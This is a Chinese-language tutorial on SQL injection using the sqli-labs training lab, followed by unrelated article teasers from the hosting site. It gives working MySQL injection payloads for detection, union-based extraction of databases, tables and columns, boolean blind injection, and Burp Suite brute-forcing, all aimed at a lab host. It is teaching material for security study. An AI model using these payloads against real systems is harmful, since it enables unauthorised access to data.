SQL注入-上篇

news2024/11/26 17:50:03

SQL注入

注入是web安全的头号大敌。注入攻击漏洞往往是应用程序缺少对输入进行安全性检查所引起的。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入漏洞通常能sql查询,ldap查询,os命令,程序参数等中出现。

SQL注入常用函数

version() #数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本

# 字符串函数
length() # 返回字符串长度
mid() left() right() substr() # 截取字符串
concat() # 没有分隔符连接字符串
concat_ws() # 含有分隔符连接字符串
group_concat() # 连接一个组的字符串
ord() # 返回ASCII码
ascii() # 字符转ascii码
md5() #返回md5值
floor(x) # 不大于x的最大整数
round(x) # 返回参数x接近的整数
rand(x) # 0-1之间的随机浮点数
sleep() #睡眠时间
if(true,t,f) # IF

# 重要的数据库
information_schema # 包含mysql中所有数据库信息
# 重要的表
schemate # mysql中所有数据库的信息
  schema_name #所有的数据库名
tables # 数据库表中的信息
  table_name #记录数据表名
columns #列信息
  column_name #字段名

示例:

use `security`;
# 查询mysql 中的所有数据库
# 结果 :information_schema,challenges,dvwa,mysql,performance_schema,security,test
select GROUP_CONCAT(SCHEMA_NAME ) from information_schema.SCHEMATA ;

# 查询 security数据库中的所有表
# 结果:emails,referers,uagents,users
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();

# 查询security数据库中users表的的字段信息
# 结果:id,username,password
select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users';

注入流程

1 使用单引号判断是字符型还是数字型
类型选择
2  有显示位:union
3  无显示位:但是网页会根据代码而改变: 布尔盲注
4  无显示位,网页也不会变化,具体看网站的回显时间:时间盲注

注入检测

一、字符型检测(Less-1)

源SQL:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

  1. 在url后拼接单引号
# Less-1
# url编码: %27表示'
# 页面不出现sql错误,则可以注入
http://10.196.93.56/sqli-labs/Less-1/?id=3%27

  1. url拼接通用条件
# Less-1
# -- - 表示mysql注释信息
# and 1=1 (通用条件,永远为True)
http://10.196.93.56/sqli-labs/Less-1/?id=1 ' and 1=1 -- -

# 或
http://10.196.93.56/sqli-labs/Less-1/?id=' or 1=1 -- -

二、数字型注入检测(Less-2)

源SQL:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

# 拼接单引号
http://10.196.93.56/sqli-labs/Less-2/?id=1# 结果:报错 
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

# 添加注释信息
http://10.196.93.56/sqli-labs/Less-2/?id=1 -- -
# 结果:成功

# 数字型
http://10.196.93.56/sqli-labs/Less-2/?id=1 or 1=1
# 结果:成功

三、搜索型注入探测

image.png

四、xx型注入探测

image.png

sqli-labs靶场搭建

  1. 下载地址:https://github.com/Audi-1/sqli-labs
  2. 下载完成后将文件夹放入到Apache根目录中。
    1. 例如:E:\PHP\httpd-2.4.59-240605-win64-VS17\Apache24\htdocs\sqli-labs
    2. sqli-labs为靶机目录
    3. 访问:http://localhost:8099/sqli-labs/index.html
      image.png
  3. 修改数据库配置:
# 位置:E:\PHP\httpd-2.4.59-240605-win64-VS17\Apache24\htdocs\sqli-labs\sql-connections\db-creds.inc
# 修改数据库连接信息

<?php

  //give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = '127.0.0.1';
$dbname1 = "challenges";



?>

  1. 网站初始化
    1. 进入到页面,点击setup连接
      1. 若失败可能原因:
        1. mysql版本太高,切换到5点几版本
        2. php版本使用7以下
        3. 没有配置数据库信息
      2. 初始化成功页面
        image.png

union注入

关键字union,作用就是将多条查询语句的结果合并成一个结果集。

一、查询示例

# mysql 两种注释方法:# 和--
# 两种注释方法都是单行注释,如果换行了注释则不生效。

use `security`;
select * from users where 1=1 #
union select 1,1,2 ;
# 结果 

// 1	Dumb	Dumb
// 2	Angelina	I-kill-you
// 3	Dummy	p@ssword
// 4	secure	crappy
// 5	stupid	stupidity
// 6	superman	genious
// 7	batman	mob!le
// 8	admin	admin
// 1	1	2

二、判断列数(Less-1)

# 使用order by 或group by
# 从1开始,直到报错,即可知道列数
http://10.196.93.56/sqli-labs/Less-1/?id=1' order by 4 -- 
# 返回结果:Unknown column '4' in 'order clause'

http://10.196.93.56/sqli-labs/Less-1/?id=1' order by 3 -- 
#返回结果:正常



三:union注入(Less-1)

  1. 显示位判断
# 让前一条sql语句查询不到值,从而从后面的sql语句显示在页面上
http://10.196.93.56/sqli-labs/Less-1/?id=3333' union select 1,2,3 -- 

image.png

  1. 查询数据库当前用户
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,user(),3  -- -

image.png

  1. 查询当前数据库
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,database(),3  -- -

image.png

  1. 查询mysql中的所有数据库
    1. 方法一:limit
# 数据库:information_schema
# 查询所有数据库语句
# select SCHEMA_NAME from information_schema.SCHEMATA 
# 因为页面只显示一条数据,所以使用limit 来切换数据
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select SCHEMA_NAME from information_schema.SCHEMATA limit 2,1) ,3  -- -
# 使用字符串连接符:group_concat()




image.png

  1. 方法二:group_concat()
# 使用GROUP_CONCAT()方法将查询的数据连接成一行
# select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select  GROUP_CONCAT(SCHEMA_NAME ) from information_schema.SCHEMATA ) ,3  -- -

image.png

  1. 查询security数据库中的表名字
# 查询 security数据库中的所有表
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = 'security';
#或 database() 表示当前数据库
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();
# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select group_concat(table_name) tables from information_schema.TABLES where TABLE_SCHEMA = 'security') ,3  -- -

image.png

  1. 查询security数据库中users表的的字段信息
# sql语句
select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users';
# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,(select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users'),3  -- -

image.png

SQL盲注

模拟环境:Less-1 、Less-8
修改页面:
image.png

一、概述

盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入,盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

二、布尔盲注

  1. 需要用到的sql函数
length() # 字符长度
Substr() # 截取字符
ascii()  # 返回ascii编码
sleep(n) # 睡眠
if(条件,True,False) #判断
  1. 是否能注入判断方法(都是使用单引号判断)
    1. 源SQL:"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
http://10.196.93.56/sqli-labs/Less-1/?id=1' -- 

image.png

  1. 猜测出数据库的长度位数
# 通过多次查看显示的值来判断数据库的长度
# 结果:8
SELECT * FROM users WHERE id= '1' and length(database())=8  LIMIT 0,1
# 注入:
http://10.196.93.56/sqli-labs/Less-1/?id=1'  and length(database())=8 -- 

image.png

  1. 猜测当前数据库的名称
# 通过将substr()函数分别截取名称字符,在将字符转为ascill码,通过数字判断进行爆破

# 结果为:115
select ascii(substr( database(),1,1))

#sql 
use security;
select * from users where id ='1' and ascii(substr(database(),1,1)) =115

# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=' or ascii(substr(database(),1,1)) =115 -- 


image.png

  1. 使用burp 进行数据库名称爆破
    1. 抓包并发送到爆破模块
      1. image.png
    2. 选择各种组合模式并设置变量
      1. url:/sqli-labs/Less-1/?id=%27or%20substr(database(),§1§,1)=%20"§s§"%20%20%23
      2. image.png
    3. 变量1设置
      1. image.png
    4. 变量s设置
      1. image.png
    5. 开始爆破
      1. 长度为890的则为正确字符,通过组合则可以得到真实数据库名称
      2. image.png
  2. 查询security 数据库中有多少张表
    1. 4张
#sql 
select * from security.users where id ='1' and (select count(*) from information_schema.tables where `TABLES`.table_schema ='security')=4 --
#注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and   (select count(*) from information_schema.tables where `TABLES`.table_schema ='security')=4 --  
  1. 查询数据库中的表名
    1. emails/referers/uagents/users
# sql
select * from security.users where id ='1'  and substr((select table_name from information_schema.tables where `TABLES`.table_schema ='security' limit 0,1),2,1)="e" --
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id= ' or  substr((select table_name from information_schema.tables where `TABLES`.table_schema ='security' limit 0,1),1,1)="e" -- 
  1. 查询emails表的字段长度
    1. 字段个数
# sql
select * from `security`.users where id="1" and (select count(*) from information_schema.`COLUMNS` where TABLE_NAME='emails') =2 -- 
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and  (select count(*) from information_schema.`COLUMNS` where TABLE_NAME='emails') =2 -- 
  1. 查询emails表的字段名
    1. id …
# sql
select * from `security`.users where id="1" and substr((select COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME='emails' limit 0,1),1,1)='i' --
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and substr((select COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME='emails' limit 0,1),1,1)='i' -- 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1832510.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AI + 3D:用单个图像和文本提示创建可交互的3D世界

你是否曾经梦想过只需一张照片和一些简单的文字描述,就能立即进入一个生动的3D虚拟世界?今天,我们将介绍一个革命性的技术,它就像是一台神奇的3D场景制造机,能够根据你的想象快速构建出令人惊叹的虚拟空间。 一、技术概览 这项技术不仅仅是一个简单的图像到3D的转换工具…

线程池吞掉异常的case:源码阅读与解决方法

1. 问题背景 有一天给同事CR&#xff0c;看到一段这样的代码 try {for (param : params) {//并发处理&#xff0c;func无返回值ThreadPool.submit(func(param));} } catch (Exception e) {log.info("func抛异常啦,参数是:{}", param) } 我&#xff1a;你这段代码是…

函数式编程基本语法

文章目录 1.函数对象表现形式1.Lambda表达式&#xff08;功能全面&#xff09;1.基本语法2.只有一行逻辑&#xff0c;该逻辑结果是返回值3.复杂逻辑4.省略参数类型&#xff08;可以通过上下文推导出类型时&#xff0c;比如实现了函数式接口&#xff09;5.只有一个参数时&#x…

SQL160 国庆期间每类视频点赞量和转发量

描述 用户-视频互动表tb_user_video_log iduidvideo_idstart_timeend_timeif_followif_likeif_retweetcomment_id110120012021-09-24 10:00:002021-09-24 10:00:20110NULL210520022021-09-25 11:00:002021-09-25 11:00:30001NULL310220022021-09-25 11:00:002021-09-25 11:00…

【数据结构】红黑树实现详解

在本篇博客中&#xff0c;作者将会带领你使用C来实现一棵红黑树&#xff0c;此红黑树的实现是基于二叉搜索树和AVLTree一块来讲的&#xff0c;所以在看本篇博客之前&#xff0c;你可以先看看下面这两篇博客 【C】二叉搜索树-CSDN博客 【数据结构】AVLTree实现详解-CSDN博客 在这…

21.FuturePromise

在异步处理时,经常用到两个接口Future 和 Promise。 说明:Netty中的Future与jdk中的Future同名,但是是两个接口,netty的Future继承了jdk的Future,而Promise又对Netty的Future进行了扩展。 JDK的Future只能同步等待任务结束(成功、失败)才能得到结果。FutureTask.get()方…

项目(一)--高并发内存池项目简介

什么是高并发内存池 它是一个全球性大厂google(谷歌)的 开源项目,项目名字叫tcmalloc,全称是Thread-Caching Malloc,即线程缓存的malloc 作用&#xff1a; 我们知道C语言在堆上开辟空间和 释放使用的是malloc和free函数 并且C的动态内存管理new和delete 的底层实际上也调用了…

高考志愿填报:选择好专业还是好学校?

人不走空 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌赋&#xff1a;斯是陋室&#xff0c;惟吾德馨 高考志愿填报&#xff1a;选择好专业还是好学校&#xff1f; 每年高考结束后&#xff0c;考生和家长面临的一个…

数据结构之线性表(3)

数据结构之线性表&#xff08;3&#xff09; 上文我们了解了线性表的静动态存储的相关操作&#xff0c;此篇我们对线性表中链表的相关操作探讨。 在进行链表的相关操作时&#xff0c;我们先来理解单链表是什么&#xff1f; 1.链表的概念及结构 链表是一种物理存储结构上非连…

密钥管理简介

首先我们要知道什么是密钥管理&#xff1f; 密钥管理是一种涉及生成、存储、使用和更新密钥的过程。 密钥的种类 我们知道&#xff0c;对称密码主要包括分组密码和序列密码。但有时也可以将杂凑函数和消息认证码划分为这一类&#xff0c;将它们的密钥称为对称密钥&#xff1b;…

RAG与Langchain简介

RAG与Langchain简介 什么是RAGRAG解决的问题RAG工作流程RAG调优策略LangChain简介 什么是RAG 检索增强生成&#xff08;Retrieval-Augmented Generation&#xff09;&#xff0c;主要是通过从外部给大模型补充一些知识&#xff0c;相当于给模型外挂了一个知识库&#xff0c;让…

Navicat 安装及初步配置指南

Navicat 是一款广泛使用的数据库管理工具&#xff0c;支持多种数据库&#xff0c;如 MySQL、PostgreSQL、SQLite 等。以下是 Navicat 安装步骤的详细说明&#xff1a; 在 Windows 上安装 Navicat 下载 Navicat 安装包&#xff1a; 访问 Navicat 官方网站&#xff1a;Navicat 官…

iCopy for Mac 剪切板 粘贴工具 历史记录 安装(保姆级教程,新手小白轻松上手)

Mac分享吧 文章目录 效果可留存文本、图片、文件等复制历史记录也可根据关键字进行历史记录检索点击一下&#xff0c;可复制双击两下&#xff0c;复制内容&#xff0c;并将信息粘贴至鼠标指针处 一、准备工作二、开始安装1、双击运行软件&#xff0c;将其从左侧拖入右侧文件夹…

【Vue】Pinia管理用户数据

Pinia管理用户数据 基本思想&#xff1a;Pinia负责用户数据相关的state和action&#xff0c;组件中只负责触发action函数并传递参数 步骤1&#xff1a;创建userStore 1-创建store/userStore.js import { loginAPI } from /apis/user export const useUserStore defineStore(…

Havoc工具

Team端 客户端 打开后需要生成监听器和agent 监听 生成payload 最后上线 HTTPS流量 HTTP流量 心跳

基于微信小程序的在线答题小程序设计与实现

个人介绍 hello hello~ &#xff0c;这里是 code袁~&#x1f496;&#x1f496; &#xff0c;欢迎大家点赞&#x1f973;&#x1f973;关注&#x1f4a5;&#x1f4a5;收藏&#x1f339;&#x1f339;&#x1f339; &#x1f981;作者简介&#xff1a;一名喜欢分享和记录学习的…

安装 Nuxt.js 的步骤和注意事项

title: 安装 Nuxt.js 的步骤和注意事项 date: 2024/6/17 updated: 2024/6/17 author: cmdragon excerpt: Nuxt.js在Vue.js基础上提供的服务器端渲染框架优势&#xff0c;包括提高开发效率、代码维护性和应用性能。指南详细说明了从环境准备、Nuxt.js安装配置到进阶部署技巧&…

大模型KV Cache节省神器MLA学习笔记(包含推理时的矩阵吸收分析)

首先&#xff0c;本文回顾了MHA的计算方式以及KV Cache的原理&#xff0c;然后深入到了DeepSeek V2的MLA的原理介绍&#xff0c;同时对MLA节省的KV Cache比例做了详细的计算解读。接着&#xff0c;带着对原理的理解理清了HuggingFace MLA的全部实现&#xff0c;每行代码都去对应…

dentacare - hackmyvm

简介 靶机名称&#xff1a;dentacare 难度&#xff1a;中等 靶场地址&#xff1a;https://hackmyvm.eu/machines/machine.php?vmdentacare 本地环境 虚拟机&#xff1a;vitual box 靶场IP&#xff08;dentacare&#xff09;&#xff1a;192.168.56.120 跳板机IP(window…

使用Multipass编译OpenHarmony工程

Multipass 是一个轻量级虚拟机管理器&#xff0c;支持 Linux、Windows 与 macOS&#xff0c;这是为希望使用单个命令提供全新 Ubuntu 环境的开发人员而设计的。使用 Linux 上的 KVM、Windows 上的 Hyper-V 和 macOS 上的 HyperKit 来以最小的开销运行 VM&#xff0c;同时它还可…